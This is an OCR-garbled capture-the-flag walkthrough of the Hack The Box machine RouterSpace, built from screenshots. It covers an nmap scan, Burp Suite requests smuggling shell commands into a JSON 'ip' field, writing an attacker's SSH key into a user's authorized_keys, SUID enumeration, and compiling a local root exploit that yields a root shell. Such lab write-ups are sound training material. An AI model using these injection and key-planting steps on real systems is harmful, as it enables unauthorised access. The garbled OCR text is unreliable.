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@ ~/Desktop/HacktheBox/RouterSpace
cat result
# Nmap 7.92 scan initiated Fri Mar 4 08:48:10 2022 as: nmap -sC -sV -oN result -p22,80 10.10.11.148
Nmap scan report for 10.10.11.148
Host is up (0.26s latency).

PORT  STATE SERVICE VERSION

22/tcp open ssh (protocol 2.0)

| ssh-hostkey:

| 3072 f4:ed4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:19:0c (RSA)
| 256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA)
| 256 2f:d7:a28:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519)
| fingerprint-strings:

|  NULL:

| SSH-2.0-RouterSpace Packet Filtering V1

80/tcp open http

| http-trane-info: Problem with XML parsing of /evox/about

| _http-title: RouterSpace

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 260 OK

[ X-Powered-By: RouterSpace

[ X-Cdn: RouterSpace-55066

| Content-Type: text/html; charset=utf-8

| Content-Length: 69

[ ETag: W/"45-/3f17wiWCza®eXXx00ApZ3+L00Cc"

| Date: Fri, 04 Mar 2022 13:48:24 GMT

| Connection: close

[ Suspicious activity detected !!! {RequestID: MH 0Cg 5 HNwQ n }
|  GetRequest:

| HTTP/1.1 200 OK

[ X-Powered-By: RouterSpace
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B Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help

[Dashbuard T Target TPrmf.y T Intruder T Repeater T Sequencer TDBDDdBr TCDmparer TExtendBr T Project options T User options

J Intercept T HTTP history I WebSockets history I Options ]

f Request to hitp:Arouterspace htb:80 [unknown host]

[ Forward J l Drop J [ Intercept is on J l Action J

| (o] orams | esaer [ ex

POST fapifvdimonitoring/router/devicheck/deviceAccess HTTR/1.1
accept: applicationfjson, text/plain, */™

user-agent: RouterSpaceAgent

Content-Type: application/json

Caontent-Length: 16

Host: routerspace.hth

Connection: close

Accept-Encoding: gzip, deflate

{"ip""0.0.0.0"}
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This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

Additionally, comments (such as these) may be inserted on individual

lines or following the machine name denoted by a '# symbol.

For example:

102. 54. 94. 97
38.25.63. 10

TETE FF TE T TE 4 O TE O T TE O T A TE

127.0.0.1
11
0.10.11.148

— T T TE

rhino. acme. com
¥. acme. com

localhost
localhost

routerspace. htb

T2 MEEFR, REHEEIER

Request

J Raw I Params I Headers T Hex }

2
H
™

source server
x client host

localhost name resolution is handled within DNS itself.
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Response

J Raw | Headers | Hex |

POST fapifvdfmonitaringfrouter/devicheck/deviceAccess HTTP/M 1
accept: application/json, text/plain, */™

user-agent: RouterSpacefgent

Content-Type: application/json

Content-Length: 16

Host: routerspace. hth

Connection: close

Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0"}
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Request

J Raw I Params I Headers T Hex }

e

HTTF/1.1 200 OK

¥-Powered-By: RouterSpace

¥-Cdn: RouterSpace-28749

Content-Type: application/json; charset=utf-3
Caontent-Length: 11

ETag: W/"b-ANdgAPInoUrpfEatjyScxfJOCY"
Date: Sat, 12 Mar 2022 13:34:.07 GMT
Connection: close

"0.0.0.0Wn" - ) Al =
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Response

J Raw | Headers | Hex |

POST fapifvd/monitaring/routerfdevicheck/deviceAccess HTTR/M 1
accept: application/json, text/plain, */™

user-agent: RouterSpacefgent

Content-Type: application/json

Content-Length: 23

Host: routerspace.hth

Connection: close

Accept-Encading: gzip, deflate

{"ip":"0.0.0.0/whaami"}

e

HTTP/.1 200 OK

¥-Powered-By: RouterSpace

¥-Cdn: RouterSpace-78239

Caontent-Type: application{jsan; charset=utf-8
Content-Length: 8

ETag: Wi"B-qTM+b2Ug+FmQphCmym1RM+pENKL"
Date: Sat, 12 Mar 2022 13:37:55 GMT

Connection: close
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Request

J Raw I Params I Headers T Hex }
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POST fapifvd/monitaring/routerfdevicheck/deviceAccess HTTR/M 1
accept: application/json, text/plain, */™

user-agent: RouterSpacefgent

Content-Type: application/json

Content-Length: 36

Host: routerspace. hth

Connection: close

Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0/echo test = 123.txt"}

AT BIXBEABEHAT /bin/bash KA 4, KIVGFHEEALT

Request

J Raw I Params I Headers T Hex }

POST fapifvd/monitaring/routerfdevicheck/deviceAccess HTTR/M 1
accept: application/json, text/plain, */™

user-agent: RouterSpacefgent

Content-Type: application/json

Content-Length: 33

Host: routerspace. hth

Connection: close

Accept-Encoding: gzip, deflate

{"ip":"0.0.0.0//bin/bash whoami"}
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Request Response

Raw | Params | Headers | Hex

Response

Raw Headers Hex
i
-

Response

Raw Headers Hex
i
-

Raw | Headers | Hex
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FPOST fapifvd/monitoring/router/devicheck/deviceAccess HTTR/ .1
accept: applicationfjson, text/plain, */*

user-agent: RouterSpaceAgent

Content-Type: applicationfjson

Content-Length: 39

Host: routerspace.hth

Connection: close

Accept-Encoding: gzip, deflate

HTTP/1.1 200 0K

L3

Connection: close

{"ip":"0.0.0.0[s -al fhome/paul/. ssh"} "total B\ drw-—-—

X¥-FPowered-By: RouterSpace

¥-Cdn: RouterSpace-7464

Content-Type: application/json; charset=utf-8
Content-Length: 100

ETag: W/"64-6Z6N8x 56 YwSKvpUDdBFvAldel)”
Date: Sat, 12 Mar 2022 13:52:35 GMT

2 paul paul 4096 Feb 17 18:30 \ndrwxr-xr-x 8 paul paul 4096 Feb 17 18:30 .\n"

Ara ™
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST fapifed/monitoringfrouter/devicheck/deviceAccess HTTP/1.1 |A HTTP/M.1 200 OK

accept: application/json, text/plain, **
user-agent: RouterSpacefaent

X-Powered-By: RouterSpace
X-Cdn: RouterSpace-3753



Content-Type: applicationfjson Content-Type: application/json; charset=utf-g

Content-Length: 77 Content-Length: 151

Host: routerspace. hth ETag: W/"97-rbmCHvC34 00001 P+3unE4/hkM"

Connection: close Date: Sat, 12 Mar 2022 13:55:28 GMT

Accept-Encoding: gzip, deflate Connection: close

{"ip™"0.0.0.0/echa test = fhome/paul/.ssh/123 txtlls -al /home/paul/ sshd‘} "tatal 12\ndrwx----— 2 paul paul 4095 Mar 12 13:55 Andrwxr-xr-x 8 paul paul 4096 Feb 17 18:30 \n-rw-r—-r-- 1 paul paul 5
ar 141355 Bt CSDN @ LAt
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ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABEQDAAG+qggL/420+qY3ylh0QOGU9/0AqjClaodWwl+Gb3KoQGzkgMTsZ6jub64LkT2nguCeMBINIQN

UP0ifS1PC/HjKD277s076eGSfuBkjTWy2EL3V6I71kXkblmeyHNFo7Vbpmbkk+NTC3Yn2gwi8uGAX10GsEz1iu+dG81dKXMNzrz9Vk2KUKIPIEuUM
H1G61MCY556z01CXG5MZLoF02S27j5M0UAhV6h12ziC62zGBWXbs1m+hJvVzPfRUFTxmbsGtQAqueWMsBBHOhss4FgNNJedpgeNQfdkwNlrq65V7g/|

gyQODG/mhsd81HimqyZY90vSipxysEV/aNd39RaBSSm304mOuoIRsZnU1D1BOdPMLOQaw6ERc2mwQFAYZTMa6vVDi/seoltYHUDaojfuTdIkgSNe
5a2IZA0hm9QpXXBgBHkWRrx/B3htrQA/Pxfy4Gnvpy3wqli/BvlrzI/a9m3FaZNGilSo0361B2h0eS+dzUcilkXJIgkCv0Ja5r94M4+RM= root@ka
1i

Go Cancel < |v >|v Tar

Request Response
J Raw T Params T Headers I Hex ] J Raw T Headers I Hex ]
POST fapifud/monitoring/router/devicheck/deviceAccess HTTP/1.1 : HTTR.1 200 0K
accept: application/json, text/plain, */™ X-FPowered-By: RouterSpace
user-agent: RouterSpacefgent ¥-Cdn: RouterSpace-29462
Content-Type: application/json Content-Type: application/json; charset=utf-8
Content-Length: B18 Content-Length: 2
Host: routerspace. hth ETag: Wi"2-35ns9S5wMKZISY eMFnEimh7 L)Y U"
Connection: close Date: Sat, 19 Mar 2022 09:56:28 GMT
Accept-Encoding: gzip, deflate Connection: close

{"ip":"0.0.0.0lecho 'ssh-rsa

9M0AGCTaodWwl+Gh3Ko QG zkqMTsZEjuB4LkT2ZnguCeMBTNIQrUF oif SIFC/
HjkKDZ77 s076eG SfuBkjTWY2ELIVEIT TkXkblmeyHMNF o7 vbpmblkk+NTC3Y n2
gwiBuGAX10GsEzliu+dGBIdKXMMNzrzSWk2ZKUKJPIEUMVHIGEIMC Y556z 01 C
KGEMZLoF O2525MOUARVERT ziCEzGBwihs 1 m+hJvzPIRUFTambsGtOAg
ueWMsBBHOhss4F gMNJed pgeMOfdlewNIrgBaVT g/gyQ0DG/mhsd81HimgyZ
YO0vSipxysEVaNd39RaBSEm3odmOunlRsZn 1 DIBOdPMLO QawEER:2Zm
wOFAyZTMaBwWDifseoltYHUDaojfuTdlkgSNESaZIZAChmIQpxXBgBHKWR
JB3htrQAP xfyd Grvpy3wgliByirzl/a9m3F aZMGilSo36IB2hO0eS +dzUcilkxlgk
CvOJasr3dMd +RM= roct@kali=/homelpaul/. Ssh;"authorized_keys"'

Go Cancel < |v >\
Request Response

_[ FiawI Params T Headers I Hex ] J Raw I Headers T Hex }

POST fapifvdimonitoring/router/devicheck/deviceAccess HTTR/.1 : HTTR/.1 200 OK

accept: applicationfjson, text/plain, */™ X¥-FPowered-By: RouterSpace

user-agent: RouterSpaceAgent ¥-Cdn: RouterSpace-43249

Caontent-Type: application/jsan Content-Type: application/json; charset=utf-8

Content-Length: 58 Content-Length: 2

Haost: routerspace.hth ETag: W/"2-35ns9S55wMEZSY eMFnEirmhrLJY "

Connection: close Date: Sat, 19 Mar 2022 09:56:58 GMT

Accept-Encoding: gzip, deflate Connection: close

{"ip™:"0.0.0.0]chmaod 700 fhu:umefpaulf.sshfauthorized_keys"}al - 5T T A ;] E i
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ssh paul@l0.10.11.148 Jroot/.ssh/id rsa
The authenticity of host '10.10.11.148 (10.10.11.148)' can't be established.
ED25519 key fingerprint is SHA256:1iwHQgWKu/VDyjka2Y4j2V8P2Rk6K13HUNT4ITnITIDK.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.148' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id rsa':
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-90-generic x86 64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat 19 Mar 2022 09:57:39 AM UTC

System load: 0.07

Usage of /: 71.2% of 3.49GB

Memory usage: 285%

Swap usage: %

Processes: 215

Users logged in: 0

IPv4 address for eth0: 10.10.11.148

IPv6 address for ethO: dead:beef::250:56ff:feb9:78fb

80 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
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Sudo version

J1

-FWSIr-Xr-x root root 67K 21 2020 /usr/bin/su
-FWSIr-Xr-x root root 67K Jul 14 2021 /usr/bin

-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin
-FWSIr-Xr-x root root 52K Jul 14 2021 /usr/bin/ch
-FWSIr-Xr-x root root 84K Jul 14 2021 /usr/bin

-FWSIr-Xr-x root root 55K Jul 21 2020 /usr/bin

-FWSIr-Xr-x root root 44K Jul 14 2021 /usr/bin

-IWSIr-Xr-x root _root 39K Jul 21 2020 /usr/bin

-FWSIr-Xr-x root root 163K Feb 3 2020 /usr/bin

STWSF-Xr-X 1 Fo0T root 8/K JUL 14 ZUZ1 /USr/bin/gpassw
=IWSF=Xr-X recot root 39K Mar 7 2020 /usr/bin/fusert
“IWSr-Xr-- root messagebus 51K Jun 11 2020 /usr/le/dbus 1.0
= FWSIr=Xr-x root root 15K Jul 8 2019 /usr/lib/eject
-FWSIr=Xr-x root root 23K May 26 2021 /usr/lib/policykit-1
-rwsr-xr-x 1 root root 463K Jul 23 2021 /usr/lib/openssh

J1

=FWSIr=Xr-X root root 67K 2020 /fusr/bin/su
- FWSIr=Xr-x reot root 67K Jul 2021 /usr/bin

-rwsr-sr-x.1 daemon daemon 55K 12 2018 /usr/bin

= FWSr=Xr-x root root 52K Jul 14 2021 /usr/bin/ch

- IrWSF-Xr-x root root 84K Jul 14 2021 /usr/bin

-rWSF-Xr-x root root 55K Jul 21 2020 /usr/bin

- IMWSF-XIr-x root root 44K Jul 14 2021 /fusr/bin

-MWSIr-Xr-x root root 39K Jul 21 2020 /usr/bin

-MWSF-Xr-x root root 163K Feb 3 2020 /usr/bin

“TWSF-Xr-xX 1 root root 8/K JUl 14 ZUZ1 /Usr/bin,

-rWSr-Xr-x root root 39K Mar 7 2020 /usr/bin

-MWSr-Xr-- root messagebus 51K Jun 11 2020 /usr/llb/dbus 1.0
S MWSI-Xr-x root root 15K Jul 8 2019 /fusr/lib/eject

- MWSI-Xr-x root root 23K May 26 2021 /fusr/lib/policykit-1
STWSI-Xr-x root root 463K Jul 23 2021 /usr/lib/openssh
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vim Makefile
vim Makefile

paul@routerspace:
paul@routerspace:

vim shellcode.c
make

paul@routerspace:
paul@routerspace:
mkdir libnss X
cc -03 -shared -nostdlib -o libnss x/x.so0.2 shellcode.c
cc -03 -o exploit exploit.c

$

$
paul@routerspace: $ vim exploit.c

$

$

paul@routerspace: $ ls

exploit exploit.c Makefile shellcode.c
paul@routerspace: $ ./exploit

# 1id

uid=0(root) gid=0(root) groups=0(root),1001(paul)

# cat /root/root.txt

4adaacda91e20208bb441d0f7ba61503 )
# 1 CSDN @ FLif1F34
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